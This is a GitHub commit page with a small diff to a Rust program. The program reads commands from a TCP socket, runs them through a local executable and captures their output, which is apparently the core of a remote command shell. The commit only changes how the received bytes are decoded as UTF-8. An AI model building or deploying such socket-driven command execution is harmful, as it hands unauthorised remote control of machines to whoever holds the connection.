Skip to content

Commit

Permalink
Update main.rs
Browse files Browse the repository at this point in the history
  • Loading branch information
m0n1b authored Mar 28, 2024
1 parent 9e3aa04 commit c14e4d5
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ use std::env;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::process::{Command, Stdio};
use std::str;

fn main() {
// 获取命令行参数
Expand All @@ -28,11 +29,11 @@ fn main() {
// 连接关闭
break;
}
let command = String::from_utf8_lossy(&buffer[..size]);
let command = str::from_utf8(&buffer[..size]).unwrap();

// 执行命令并捕获输出
let output = Command::new(executable_path)
.arg(&command)
.arg(command)
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.output()
Expand Down

0 comments on commit c14e4d5

Please sign in to comment.